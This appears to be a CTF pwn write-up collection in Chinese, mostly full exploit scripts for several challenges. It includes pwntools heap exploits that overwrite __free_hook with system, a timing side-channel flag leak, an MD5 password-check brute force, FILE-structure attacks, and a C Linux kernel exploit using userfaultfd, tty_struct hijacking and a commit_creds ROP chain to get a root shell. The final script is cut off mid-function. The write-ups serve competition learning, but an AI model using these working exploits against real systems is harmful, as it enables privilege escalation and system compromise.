用点小技巧,先alpha_shellcode自覆盖解除字符限制,然后mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)

orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag

from pwn import *
import sys
import time

import threading

def exp(flag_idx:int):    
    #p = process("./shellcode")
    p = remote("39.105.137.118", 50050)
    #context.log_level = "debug"
    context.arch = "amd64"

    # build read
    alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
    payload = alpha_read
    p.send(payload)

    # read mmap shellcode
    # mmap new shellcode area
    time.sleep(0.2)
    payload = b"\x90"*0x50
    shellcode_mmap_raw = '''
    mov rdi, 0x100000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0x200000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0
    mov rsi, 0x100000
    mov rdx, 0x1000
    mov rax, 0;
    syscall;
    call rsi;
    '''
    payload += asm(shellcode_mmap_raw)
    p.send(payload)

    #gdb.attach(p, "b *0x100001\nc\n")

    # read new shellcode
    time.sleep(0.5)
    shellcode_to_x86 = '''
    push 0x23;
    push 0x100020;
    retfq;
    '''
    shellcode_open = '''
    mov esp, 0x210000;
    push 0;
    push 0x67616c66;
    mov ebx, esp;
    mov rcx, 0;
    mov eax, 5;
    int 0x80;
    '''
    shellcode_to_x64 = '''
    push 0x33;
    push 0x100050;
    retf;
    '''
    shellcode_read = '''
    mov rdi, rax;
    mov rsi, 0x100000;
    mov rdx, 0x40;
    mov rax, 0;
    syscall;
    nop;
    '''
    char_addr = 0x100000+flag_idx
    shellcode_alarm = '''
    xor rax, rax;
    mov al, byte ptr [{}];
    //mov al, 0x3;
    mov rdi, rax;
    mov rax, 37;
    syscall;
    HERE:
        jmp HERE
    '''
    payload = asm(shellcode_to_x86)
    payload = payload.ljust(0x20, b"\x90")
    payload += asm(shellcode_open)
    payload += asm(shellcode_to_x64)
    payload = payload.ljust(0x50, b"\x90")
    payload += asm(shellcode_read)
    payload += asm(shellcode_alarm.format(hex(char_addr)))
    p.send(payload)

    print("WAITING IDX: ", flag_idx)
    start = time.perf_counter()
    try:
        p.recv()
    except:
        print("ALARM!")
    end = time.perf_counter()
    pass_time = int(end-start)
    flag[flag_idx] = pass_time
    print(flag_idx, "May be char:", bytes([pass_time]))
    p.close()

if __name__ == "__main__":
    pool = []
    flag = [0]*0x26
    for i in range(0, 0x26):
        t = threading.Thread(target=exp, args=(i,))
        pool.append(t)
        t.setDaemon(True)
        sleep(1)
        t.start()
    for t in pool:
        t.join()
    print("FLAG:", bytes(flag)) 

#flag{cdc31bf52a72521c93b690ad1978856d}

pipeline

隐蔽的堆溢出,通过设置append size为0x800000f0达到堆溢出的目的

from pwn import *

#p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("59.110.173.239", 2399)
elf = ELF("./pipeline")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

def add():
    p.sendlineafter(b">> ", b"1")

def edit(idx:int, size:int, offset:int):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"offset: ", str(offset).encode())
    p.sendlineafter(b"size: ", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">> ", b"3")
    p.sendlineafter(b"index: ", str(idx).encode())

def append(idx:int, size:int, data):
    p.sendlineafter(b">> ", b"4")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"data: ", data)

def show(idx:int):
    p.sendlineafter(b">> ", b"5")
    p.sendlineafter(b"index: ", str(idx).encode())

# 0x0000555555554000
# header: 0x0000555555554000+0x4058

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0x18af\nc\n")

    # leak libc
    add() #0
    edit(0, 0x420, 0)
    add() #1 split
    edit(0, 0, 0)
    edit(0, 0x420, 0)
    show(0)
    p.recvuntil(b"data: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    # attack tcache
    ## get
    add() #2
    edit(2, 0x18, 0x17)
    add() #3
    edit(3, 0x20, 0)
    add() #4
    edit(4, 0x20, 0)
    add() #5
    edit(5, 0x20, 0)
    ## free
    edit(5, 0, 0)
    edit(4, 0, 0)
    edit(3, 0, 0)

    payload = b"a"+p64(0x21)
    payload += p64(free_hook) + p32(0) + p32(0x8) + b"\n"
    append(2, -2147483408, payload)

    append(3, 0x8, p64(system))
    print("free_hook:", hex(free_hook))

    edit(1, 0x8, 0)
    append(1, 0x8, b"/bin/sh\n")
    edit(1, 0, 0)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

babypwn

题出得有点莫名其妙,题目从堆块头遍历扫描\x11字符替换成\x00,遇到第一个\x00停止,造成了很明显的off-by-null,因此可以unlink构造overlap攻击tcache。然后往__free_hooksetcontext+53,借助setcontext+53gadget调用mprotect给堆rwx后执行orw shellcode

from pwn import *

#p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"})
p = remote("39.105.130.158", 8888)
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"

def unshiftleft(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res

def unshiftright(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res

def dec(c):
    for i in range(2):
        c = unshiftleft(c , 13)
        c = unshiftright(c ,17)
        c = unshiftleft(c ,5)
    return c

def add(size:int):
    p.sendlineafter(b">>> \n", b"1")
    p.sendlineafter(b"size:\n", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">>> \n", b"2")
    p.sendlineafter(b"index:\n", str(idx).encode())

def edit(idx:int, content):
    p.sendlineafter(b">>> \n", b"3")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"content:\n", content)

def show(idx:int):
    p.sendlineafter(b">>> \n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    # leak libc
    for i in range(8):
        add(0x80) # 0-7
    add(0x20) # 8 split
    for i in range(9,9+7):
        add(0xf8) # 9-16
    for i in range(8):
        delete(i) # del 0-7
    add(0x20) # 0
    show(0)
    libc_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_low = dec(libc_leak_low) & 0xffffffff
    libc_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_high = dec(libc_leak_high) & 0xffffffff
    libc_leak = ((libc_leak_high<<32) + libc_leak_low) & 0xffffffffffff
    libc_base = libc_leak - 0x3ebd20
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # leak heap
    add(0x80) # 1
    show(1)
    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_low = dec(heap_leak_low) & 0xffffffff
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_high = dec(heap_leak_high) & 0xffffffff
    heap_leak = ((heap_leak_high<<32) + heap_leak_low) & 0xffffffffffff
    heap_base = heap_leak - 0x1240 + 0x2c0 # modify
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # build overlapping
    add(0xf8) #2 chain
    add(0xf8) #3 chain
    add(0xf8) #4
    add(0xf8) #5
    add(0x100) #6
    add(0x90) #7 split
    ## fill tcache
    for i in range(9,9+7):
        delete(i) # del 9-16
    edit(5, b"a"*0xf8)
    edit(5, b"a"*0xf0+p64(0x200))
    edit(6, b"a"*0xf0+p64(0)+p64(0x21))
    edit(7, p64(0)+p64(0x91))
    target = heap_base+0x1d10-0x2c0  # modify
    edit(4, b"\x00"*0xf0+p64(0x100))
    edit(4, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))
    delete(6)

    # link to __free_hook
    add(0xf8) # 6 remove from tcache
    add(0x1f8) # 9
    delete(5) # del 5
    edit(9, b"\x00"*0xf8+p64(0x101)+p64(free_hook))
    add(0xf8) # 5 remote first of tcache
    add(0xf8) # 10 free_hook
    edit(10, p64(setcontext+53))
    print("free_hook:", hex(free_hook))

    # attack setcontext+53
    #gdb.attach(p, "b free\nc\n")
    prepare = heap_base + 0x20d0 - 0x2c0 # modify
    add(0x200) # 11 prepare
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x20000
    frame.rdx = 7
    frame.rsp = prepare+0x100

    payload = flat(list(frame.values())).ljust(0x100, b"\x00")
    payload += p64(prepare+0x110)
    payload = payload.ljust(0x110, b"\x90")
    shellcode = '''
    push 0;
    //push 0x67616c66;
    mov rax, 0x7478742e67616c66;
    push rax;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 1;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''
    payload += asm(shellcode)
    print("length:", hex(len(payload)))

    edit(11, payload)
    delete(11)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

notebook

koo师傅和sad师傅打的,我在旁边加油hhh

exp.c

#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
int fd;
    char *addr;         /* Start of region handled by userfaultfd */
static int page_size;
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0xffffffff81000000
int ptmx_fds[0x1000];
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0;
//swapgs ;pop rbp ; ret
size_t SWAPGS = 0xffffffff810637d4;
//0xffffffff810338bb: iretq; pop rbp; ret;
size_t IRETQ = 0xffffffff810338bb;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929+22;
//commit_creds函数
size_t COMMIT_CREDS = 0xffffffff810a9b40;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
//push rax ; pop rsp ;  ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a;
size_t SUB_RSP_RET = 0xffffffff8100354f;
size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1;
size_t POP_RDI = 0xffffffff81007115;
size_t POP_RSP = 0xffffffff810bc110;
size_t POP_RAX = 0xffffffff81540d04;
size_t MSLEEP = 0xffffffff81102360;
size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833;
void init_addr(size_t kernel_base) {
    MOV_CR4_RAX+=kernel_base - RAW_KERNEL_BASE;
    //0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
     MOV_CR4_RDI_POP_RBP+=kernel_base - RAW_KERNEL_BASE;
    //swapgs ;pop rbp ; ret
     SWAPGS += kernel_base - RAW_KERNEL_BASE;
    //0xffffffff810338bb: iretq; pop rbp; ret;
     IRETQ += kernel_base - RAW_KERNEL_BASE;
     swapgs_restore_regs_and_return_to_usermode+=kernel_base - RAW_KERNEL_BASE;
    //commit_creds函数
     COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
    // prepare_kernel_cred
     PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
    //push rax ; pop rsp ;  ret做栈迁移用
     PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
     SUB_RSP_RET += kernel_base - RAW_KERNEL_BASE;
     PUSH_RDI_POP_RSP_POP_RET += kernel_base - RAW_KERNEL_BASE;
     POP_RDI+= kernel_base - RAW_KERNEL_BASE;
     POP_RSP+= kernel_base - RAW_KERNEL_BASE;
     POP_RAX+= kernel_base - RAW_KERNEL_BASE;
     MSLEEP += kernel_base - RAW_KERNEL_BASE;
     MOV_RDI_RAX_POP_RET += kernel_base - RAW_KERNEL_BASE;
}
void getRoot() {
   //函数指针
   void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
   void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
   //commit_creds(prepare_kernel_cred(0))
   (*cc)((*pkc)(0));
}
void getShell() {
    printf("%d\n",getuid());
   if (getuid() == 0) {
      printf("[+]Rooted!!\n");
      system("/bin/sh");
   } else {
      printf("[+]Root Fail!!\n");
   }
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
   __asm__("mov %cs,user_cs;"
           "mov %ss,user_ss;"
           "mov %rsp,user_sp;"
           "pushf;"
           "pop user_flags;"
           );
  puts("user states have been saved!!");
}

struct ARG{
    long long idx;
    long long size;
    void * buf;
};
long long  gift(int fd,int offset){
    char buf[256];
    struct ARG arg = {0,0,buf};
    long long res=ioctl(fd, 100, &arg);
    printf("gift return %d\n",res);
    return *( long long*)(buf+offset*0x10);
}
long long add(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x100, &arg);
    printf("add return %d\n",res);
    return res;
}
long long edit(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x300, &arg);
    printf("edit return %d\n",res);
    return res;
}

long long del(int fd,long long idx){
    printf("in delete\n");
    struct ARG arg = {idx,0,0};
    long long res=ioctl(fd, 0x200, &arg);
    return res;
}
static void *
fault_handler_thread(void *arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    /* Create a page that will be copied into the faulting region */

    if (page == NULL) {
       page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (page == MAP_FAILED)
           puts("mmap");
    }

    /* Loop, handling incoming events on the userfaultfd
      file descriptor */

    for (;;) {

       /* See what poll() tells us about the userfaultfd */

       struct pollfd pollfd;
       int nready;
       pollfd.fd = uffd;
       pollfd.events = POLLIN;
       nready = poll(&pollfd, 1, -1);
       if (nready == -1)
           puts("poll");

       /* Read an event from the userfaultfd */

       nread = read(uffd, &msg, sizeof(msg));
       if (nread == 0) {
           printf("EOF on userfaultfd!\n");
           exit(EXIT_FAILURE);
       }

       if (nread == -1)
           puts("read");

       /* We expect only one kind of event; verify that assumption */

       if (msg.event != UFFD_EVENT_PAGEFAULT) {
           fprintf(stderr, "Unexpected event on userfaultfd\n");
           exit(EXIT_FAILURE);
       }

        /* Copy the page pointed to by 'page' into the faulting
          region. Vary the contents that are copied in, so that it
          is more obvious that each fault is handled separately. */
       if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            printf("write fault\n");
            sleep(1);
        } else {
           printf("read fault\n");
        char a[10]="sad";
            edit(fd,0,0x600,a);
        edit(fd,0,0x400,a);

        fault_cnt++;

        uffdio_copy.src = (unsigned long) page;

        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                  ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
             printf("ioctl-UFFDIO_COPY");
        }
/*
    while(1){
        printf("check uid %d\n",geteuid());
        sleep(1);
    }
*/
    }
}
int main(){
    saveUserState();
    long uffd;          /* userfaultfd file descriptor */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 4 * page_size;

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       puts("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       puts("ioctl-UFFDIO_API");

    /* Create a private anonymous mapping. The memory will be
      demand-zero paged--that is, not yet allocated. When we
      actually touch the memory, it will be allocated via
      the userfaultfd. */

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       puts("mmap");

    /* Register the memory range of the mapping we just created for
      handling by the userfaultfd object. In mode, we request to track
      missing pages (i.e., pages that have not yet been faulted in). */

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       puts("ioctl-UFFDIO_REGISTER");

    /* Create a thread that will process the userfaultfd events */

    s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    if (s != 0) {
       errno = s;
       puts("pthread_create");
    }

    fd = open("/dev/notebook", 2);
    char a[10]="sadaaaaa";
    add(fd,0,0x20,a);
    //add(fd,0,0,addr);
    edit(fd,0,0x3ff,a);
    edit(fd,0,0x400,addr);
    for(int i =0 ;i<0x100;i++)
    ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[128];
    size_t fake_tty_operations[128];
    printf("read size:%d\n",read(fd,fake_tty_struct,0));

    long long kernel_addr = *(unsigned long long *)(fake_tty_struct+3)-0xe8e440;
    init_addr(kernel_addr);
    add(fd,1,0x20,a);
    edit(fd,1,0x20*8,a);
    add(fd,2,0x50,a);
    long long tty_operation_addr = gift(fd,2);
    long long heap_addr = gift(fd,1);
    size_t rop_addr = heap_addr;
    fake_tty_struct[3] = tty_operation_addr;
   fake_tty_struct[1] = SUB_RSP_RET;
   fake_tty_struct[0x14] = POP_RSP;
   fake_tty_struct[0x15] = rop_addr;
   //fake_tty_struct[2] = rop_addr;
    write(fd,fake_tty_struct,0);
    printf("kernel heap addr: %p\n",heap_addr);
    printf("kernel kernel addr: %p\n",kernel_addr);
   //对tty_fd执行write,将触发这个gadget进行第一次转转移
   fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET;
   //栈再一次转移到rop数组里
    size_t rop[0x20];
    int i = 0;
    /*rop同时关闭了smap、semp*/
    rop[i++] = POP_RDI;
    rop[i++] = 0;
    rop[i++] = PREPARE_KERNEL_CRED;
    rop[i++] = MOV_RDI_RAX_POP_RET;
    rop[i++] = 0;
    rop[i++] = COMMIT_CREDS;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)&getShell;
    rop[i++] = user_cs;
    rop[i++] = user_flags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    printf("\ngetshell: %llx\n",(size_t)&getShell);
    write(fd,rop,1);
    write(fd,fake_tty_operations,2);
    //getchar();
    //write(fd,fake_tty_operations,0);

    for(int i=0;i<0x100;i++){
        write(ptmx_fds[i],a,0x10);
    }

    return 0;
}

house of big

打出了个非预期,找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync,该利用链需要配合一个手动挖出来的libc2.31的one_gadget使用。可迁移性不强(其实所有利用IO_FILE vtable指针的打法都大同小异

三个角色的哈希校验绕过

A: b'AV;\x8b\x02'

B: b'B\xbf\x1b\x1e\x04'

C: b'C%:U\x01'

哈希爆破脚本

from hashlib import md5

i = 2**24 # skip "\x00"

while True:
    #d = b"A"
    #d = b"B"
    d = b"C"
    _input = d + i.to_bytes(4, "little")
    #print(_input)
    tmp = md5(_input).digest()
    if tmp[:3] == b"<D\x00" and b"\x00" not in _input:
        print(i, d + i.to_bytes(4, "little"))
        break
    i += 1

exp:

from pwn import *
import hashlib

#p = process("./pig_patch", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("172.35.6.13", 8888)
elf = ELF("./pig")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

# b'AV;\x8b\x02'
# b'B\xbf\x1b\x1e\x04'
# b'C%:U\x01'

def load_peppa():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'AV;\x8b\x02')
    
def load_mummy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'B\xbf\x1b\x1e\x04')
    
def load_daddy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'C%:U\x01')
    
    
def add_peppa_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Peppa's message: ")
    p.send(msg)
    
def add_mummy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Mummy's message: ")
    p.send(msg)
    
def add_daddy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Daddy's message: ")
    p.send(msg)
    
def show_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"2")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    
def edit_peppa_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Peppa's message: ", msg)
    
def edit_mummy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Mummy's message: ", msg)
    
def edit_daddy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Daddy's message: ", msg)
    
def del_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"4")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())

def exp():    
    #load_mummy()
    # leak addr
    #gdb.attach(p, "handle SIGALRM noignore\nb _IO_wfile_sync\nc\n")
    
    for i in range(8):
        add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 0-7
    add_peppa_msg(0x150, b"split\n"*(0x150//0x30)) #peppa 8
    for i in range(8):
        del_msg(i)
    load_mummy()
    load_peppa()
    show_msg(7) # leak libc
    p.recvuntil(b"The message is: ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    global_max_fast = libc_base + 0x1eeb80
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    io_list_all = libc_base + 0x1ec5a0
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("global_max_fast:", hex(global_max_fast))
    show_msg(6) # leak heap
    p.recvuntil(b"The message is: ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12590
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    
    # largebin attack
    #edit_peppa_msg(7, ((p64(global_max_fast)+p64(global_max_fast-0x10)) * (0xa0//0x30))) # modify smallbin
    #add_peppa_msg(0xa0, b"a"*((0xa0//0x30) * 0x10)) #peppa 9 trigger unsortedbin
    #gdb.attach(p)
    #pause()
    load_mummy()
    add_mummy_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #mummy 0
    add_mummy_msg(0x410, b"a"*((0x410//0x30) * 0x10)) #mummy 1
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 9
    load_mummy()
    add_mummy_msg(0x420, b"a"*((0x420//0x30) * 0x10)) #mummy 2
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 10
    load_mummy()
    del_msg(2)
    
    ## reuse
    load_daddy()
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 0
    del_msg(0)
    #gdb.attach(p)
    #pause()
    load_peppa()
    add_peppa_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #peppa 11
    del_msg(11) 
    #gdb.attach(p)
    #pause()
    
    load_mummy()
    add_mummy_msg(0x430, b"a"*((0x430//0x30) * 0x10)) #mummy 3
    del_msg(1)
    load_peppa() # refresh locked_flag
    load_mummy()
    #gdb.attach(p)
    #pause()
    edit_mummy_msg(2, (p64(heap_base+0x12cc0)+p64(io_list_all-0x20)) * (0x420//0x30)) # telescop 0x5555555704e0
    load_daddy()
    
    ## trigger
    add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 1
    print("global_max_fast:", hex(global_max_fast))
    print("io_list_all:", hex(io_list_all))
    target_chunk = heap_base + 0x13080
    print("target_chunk:", hex(target_chunk))
    #gdb.attach(p)
    #pause()

    
    io_str_jumps = libc_base + 0x1ed0e0
    ptr_2_io_wfile_sync = libc_base + 0x1ece40
    io_wfile_jumps = libc_base + 0x1ecde0
    #io_str_jumps = libc_base + 0x1ed320
    print("io_str_jumps:", hex(io_str_jumps))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    
    ## write fake io_file
    
    '''
    # old payload
    payload = p64(0)*2
    payload += p64(0) + p64((binsh-100)//2 +1) #_IO_write_base _IO_write_ptr
    payload += p64(0)*2
    payload += p64((binsh -100)//2) # _IO_buf_end;
    payload += p64(0)*4
    payload += p64(0) # _chain
    payload = payload.ljust((0x88-0x10), b"\x00")
    payload += p64(free_hook) # ptr to 0 for _lock
    payload = payload.ljust((0xa8-0x10), b"\x00")
    payload += p64(2) + p64(3) # _freeres_list _freeres_buf
    payload = payload.ljust((0xc0-0x10), b"\x00")
    payload += p32(0xffffffff)
    payload = payload.ljust((0xd8-0x10), b"\x00")
    payload += p64(io_str_jumps) + p64(system)
    payload = payload.ljust(0xf0, b"\x00")
    '''
    
    one_gadget = libc_base+0xE6C80
    payload = p64(0)*4
    payload += p64(one_gadget) + p64(one_gadget+1) #write_base write_ptr
    payload = payload.ljust(0x88, b"\x00")
    payload += p64(free_hook)
    payload = payload.ljust(0x98, b"\x00")
    payload += p64(target_chunk+0x110) + p64(target_chunk+0xe0) # _codecvt  _wide_data
    payload = payload.ljust(0xd8, b"\x00") + p64(io_wfile_jumps+8*9)
    payload += p64(1)+p64(0)*2+p64(1)+p64(0)*2
    #payload += b"/bin/sh\x00"+p64(0)*1+p64(system)
    payload += p64(target_chunk)+p64(0)*1+p64(system)
    payload = payload[0x10:].ljust(0x150, b"\x00")
    
    part1 = b""
    part2 = b""
    part3 = b""
    
    
    for i in range(7):
        part1 += payload[0x30*i : 0x30*i+0x10]
        part2 += payload[0x30*i+0x10 : 0x30*i+0x20]
        part3 += payload[0x30*i+0x20 : 0x30*i+0x30]
        
    load_peppa()
    edit_peppa_msg(11, part1)
    load_mummy()
    edit_mummy_msg(2, part2+(p64(0)*2)*(0x420//0x30-7))
    load_daddy()
    edit_daddy_msg(0, part3)
    
    print("io_list_all:", hex(io_list_all))
    print("io_str_jumps:", hex(io_str_jumps))
    print("ptr_2_io_wfile_sync:", hex(ptr_2_io_wfile_sync))
    print("io_wfile_jumps:", hex(io_wfile_jumps))
    
    ## trigger system

    #gdb.attach(p, "set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290\nb *0x7ffff7e6b290\nc\n")
    # set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290
    # b *0x7ffff7e6b290
    load_mummy()
    del_msg(0)  
    print("onegadget:", hex(one_gadget))
    # _IO_flush_all_lockp
    # 0x7ffff7e62984
    # 0x7ffff7e62981
    #gdb.attach(p)
    #pause()
    
    p.interactive()
    

if __name__ == "__main__":
    exp()

hardstack

hand burp

from pwn import *
import sys

libc = ELF("./libc-2.27.so")
context.log_level = "debug"

def new(idx:int, size:int):
    p.sendlineafter(b"Your choice: ", b"1")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    
def edit(idx:int, content):
